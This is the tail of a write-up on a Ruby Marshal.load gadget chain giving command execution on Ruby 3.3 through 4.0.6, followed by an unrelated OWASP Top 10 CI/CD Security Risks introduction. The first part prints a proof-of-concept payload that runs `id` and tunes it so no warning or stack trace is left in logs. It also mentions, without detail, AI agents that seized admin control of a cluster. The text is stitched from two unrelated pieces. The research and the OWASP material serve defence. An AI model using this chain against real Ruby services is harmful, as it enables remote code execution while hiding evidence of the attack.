/usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:155:in 'Gem::StubSpecification#name': undefined method 'name' for nil (NoMethodError)

    data.name
        ^^^^^
        from /usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:217:in 'Gem::StubSpecification#hash'
        from -e:1:in 'Marshal.load'
        from -e:1:in '<main>'

The exception that follows is expected and harmless. Gem::Specification.load has already passed the fetched source to eval , but that source ends with puts , so the value it hands back is nil rather than a gemspec. The method warns and returns nil , and Gem::StubSpecification#hash raises when it tries to read a name from it.

It is also avoidable, which matters if a stack trace in the logs or an aborted request is something you would rather not leave behind. Gem::StubSpecification#hash is name.hash ^ version.hash ^ platform.hash , and each of those three reads a field off whatever Gem::Specification.load returned. Ending the evaluated source with a Gem::Specification is therefore enough for Marshal.load to return normally, with no warning and no exception:


puts `id`

Gem::Specification.new do |s|
  s.name = "poc"
  s.version = "1.0.0"
end

One side effect is worth noting for anyone reproducing this: the evaluated source is left behind at /tmp/quick/Marshal.4.8/name-.gemspec .

Conclusion

The chain turns a single Marshal.load into command execution on Ruby 4.0.6 and works unchanged as far back as 3.3. It needs no gems beyond those that ship with Ruby, no application code, and no prior state on disk. Outside the target process it needs only a reachable HTTPS host and a writable directory.

Little of it had to be built from scratch. The two commits that followed the 3.4 writeup removed the gadgets they named and left call_url_and_create_folder alone, so it is still here, doing a different job than it did before: fetching attacker-controlled bytes onto disk rather than creating a directory some other gadget depended on. Gadgets outlive the chains they are found in. When a chain stops working, the surviving gadgets can be recycled into the next chain.

What is new is where the rest of the chain comes from. Every public Ruby chain until now has been built entirely out of methods written in Ruby, in the standard library or RubyGems, that a maintainer can tighten in a five-line diff, which is exactly what happened to Gem::Version#marshal_load . This one reaches below that. The failure-tolerant caller it needs is time_mload , which is C, and which throws away the exception the download gadget raises because rb_rescue was there to keep a malformed zone name from breaking Time deserialization. The trigger is C as well, and is not an override at all but the fact that a Hash calls hash on its keys while Marshal.load rebuilds it. Neither is a stray convenience that can be quietly deleted. Removing them means changing how Time deserialization tolerates bad input and how core data structures behave, and neither is a change the language can realistically make.

So the advice does not change, but it is worth being precise about why. Removing gadgets raises the cost of writing a chain; it does not remove the capability, because the gadgets are spread across a library that is loaded into every Ruby process by default and are found faster than they are patched. Marshal.load on untrusted input is command execution, on the current release, with no dependencies. Treat it that way and use a data-only format instead.

This post opened with a collective of AI agents that took admin control of a cluster, in part through Ruby deserialization. Whether they assembled a chain of their own or reused a published one, the assumption that no chain exists for the version in front of you was never a control, and it is no longer even a delay. If you came to this post wondering whether Ruby deserialization is still worth caring about in 2026, the agents that broke out of that cluster have already answered it: yes.

Until we deserialize again, ciao bella!

OWASP Top 10 CI/CD Security Risks

Lobsters
owasp.org
2026-08-14 01:26:16
Comments...
Original Article

alt_text

Introduction

CI/CD environments, processes, and systems are the beating heart of any modern software organization. They deliver code from an engineer’s workstation to production. Combined with the rise of the DevOps discipline and microservice architectures, CI/CD systems and processes have reshaped the engineering ecosystem:

  • The technical stack is more diverse, both in relation to coding languages as well as to technologies and frameworks adopted further down the pipeline (e.g. GitOps, K8s).
  • Adoption of new languages and frameworks is increasingly quicker, without significant technical barriers.
  • There is an increased use of automation and Infrastructure as Code (IaC) practices.
  • 3rd parties, both in the shape of external providers as well as dependencies in code, have become a major part of any CI/CD ecosystem, with the integration of a new service typically requiring no more than adding 1-2 lines of code.

These characteristics allow faster, more flexible and diverse software delivery. However, they have also reshaped the attack surface with a multitude of new avenues and opportunities for attackers.

Adversaries of all levels of sophistication are shifting their attention to CI/CD, realizing CI/CD services provide an efficient path to reaching an organization’s crown jewels. The industry is witnessing a significant rise in the amount, frequency and magnitude of incidents and attack vectors focusing on abusing flaws in the CI/CD ecosystem, including -

  • The compromise of the SolarWinds build system, used to spread malware through to 18,000 customers.
  • The Codecov breach, that led to exfiltration of secrets stored within environment variables in thousands of build pipelines across numerous enterprises.
  • The PHP breach , resulting in publication of a malicious version of PHP containing a backdoor.
  • The Dependency Confusion flaw, which affected dozens of giant enterprises, and abuses flaws in the way external dependencies are fetched to run malicious code on developer workstations and build environments.
  • The compromises of the ua-parser-js , coa and rc NPM packages , with millions of weekly downloads each, resulting in malicious code running on millions of build environments and developer workstations.

While attackers have adapted their techniques to the new realities of CI/CD, most defenders are still early on in their efforts to find the right ways to detect, understand, and manage the risks associated with these environments. Seeking the right balance between optimal security and engineering velocity, security teams are in search for the most effective security controls that will allow engineering to remain agile without compromising on security.

The “Top 10 CI/CD Security Risks” initiative

This document helps defenders identify focus areas for securing their CI/CD ecosystem. It is the result of extensive research into attack vectors associated with CI/CD, and the analysis of high profile breaches and security flaws.

Numerous industry experts across multiple verticals and disciplines came together to collaborate on this document to ensure its relevance to today’s threat landscape, risk surface, and the challenges that defenders face in dealing with these risks.

We would like to thank and acknowledge all experts which took part in reviewing and validating this document.

Reviewers

  • Iftach Ian Amit (Advisory CSO @ Rapid7)
  • Jonathan Claudius (CISO @ Jump Crypto)
  • Michael Coates (CEO & Co-Founder @ Altitude Networks, Former CISO @ Twitter)
  • Jonathan Jaffe (CISO @ Lemonade Insurance)
  • Adrian Ludwig (Chief Trust Officer @ Atlassian)
  • Travis McPeak (Head of Product Security @ Databricks)
  • Ron Peled (Founder & CEO @ ProtectOps, Former CISO @ LivePerson)
  • Ty Sbano (CISO @ Vercel)
  • Astha Singhal (Director of Application Security @ Netflix)
  • Hiroki Suezawa (Security Engineer @ Mercari, inc.)
  • Tyler Welton (Principal Security Engineer @ Built Technologies, Owner @ Untamed Theory)
  • Tyler Young (Head of Security at Relativity)
  • Ory Segal (Senior Director, Product Management @ Palo Alto Networks)
  • Noa Ginzbursky (DevOps Engineer @ Cider Security)
  • Asi Greenholts (Security Researcher @ Cider Security)

Top 10 risks

Presented below are the top 10 CI/CD security risks. All risks follow a consistent structure -

  • Definition - Concise definition of the nature of the risk.
  • Description - Detailed explanation of the context and the adversary motivation.
  • Impact - Detail around the potential impact the realization of the risk can have on an organization.
  • Recommendations - A set of measures and controls recommended for optimizing an organization’s CI/CD posture in relation to the risk in question.
  • References - A list of real world examples and precedents in which the risk in question was exploited.

The list was compiled on the basis of extensive research and analysis based on the following sources:

  • Analysis of the architecture, design and security posture of hundreds of CI/CD environments across multiple verticals and industries.
  • Profound discussions with industry experts.
  • Publications detailing incidents and security flaws within the CI/CD security domain. Examples are provided where relevant.

List of the top 10 CI/CD security risks:

CICD-SEC-1 : Insufficient Flow Control Mechanisms

CICD-SEC-2 : Inadequate Identity and Access Management

CICD-SEC-3 : Dependency Chain Abuse

CICD-SEC-4 : Poisoned Pipeline Execution (PPE)

CICD-SEC-5 : Insufficient PBAC (Pipeline-Based Access Controls)

CICD-SEC-6 : Insufficient Credential Hygiene

CICD-SEC-7 : Insecure System Configuration

CICD-SEC-8 : Ungoverned Usage of 3rd Party Services

CICD-SEC-9 : Improper Artifact Integrity Validation

CICD-SEC-10 : Insufficient Logging and Visibility


Founders

Cider Security

Contributors

Project Reviewers
Iftach Ian Amit (Advisory CSO @ Rapid7)
Jonathan Claudius (CISO @ Jump Crypto)
Michael Coates (CEO & Co-Founder @ Altitude Networks, Former CISO @ Twitter)
Jonathan Jaffe (CISO @ Lemonade Insurance)
Adrian Ludwig (Chief Trust Officer @ Atlassian)
Travis McPeak (Head of Product Security @ Databricks)
Ron Peled (Founder & CEO @ ProtectOps, Former CISO @ LivePerson)
Ty Sbano (CISO @ Vercel)
Astha Singhal (Director of Application Security @ Netflix)
Hiroki Suezawa (Security Engineer @ Mercari, inc.)
Tyler Welton (Principal Security Engineer @ Built Technologies, Owner @ Untamed Theory)
Tyler Young (Head of Security at Relativity)
Ory Segal (Senior Director, Product Management @ Palo Alto Networks)
Noa Ginzbursky (DevOps Engineer @ Cider Security)
Asi Greenholts (Security Researcher @ Cider Security)

Get Involved

Get involved in OWASP Top 10 CI/CD Security Risks !

We encourage the community - security experts, devops engineers, programmers, and anyone who’s interested - to join and contribute. Contact the Project Leaders to get involved, we welcome any type of suggestions and comments.

GitHub

The project is maintained in the Top 10 CI/CD Security Risks GitHub repository.

Feel free to open or solve an issue.


Project Roadmap

  • Initial release: v1.0, September 2022
  • Project promotion, additional reviews: October, 2022
  • Stable release: v1.0, October 2022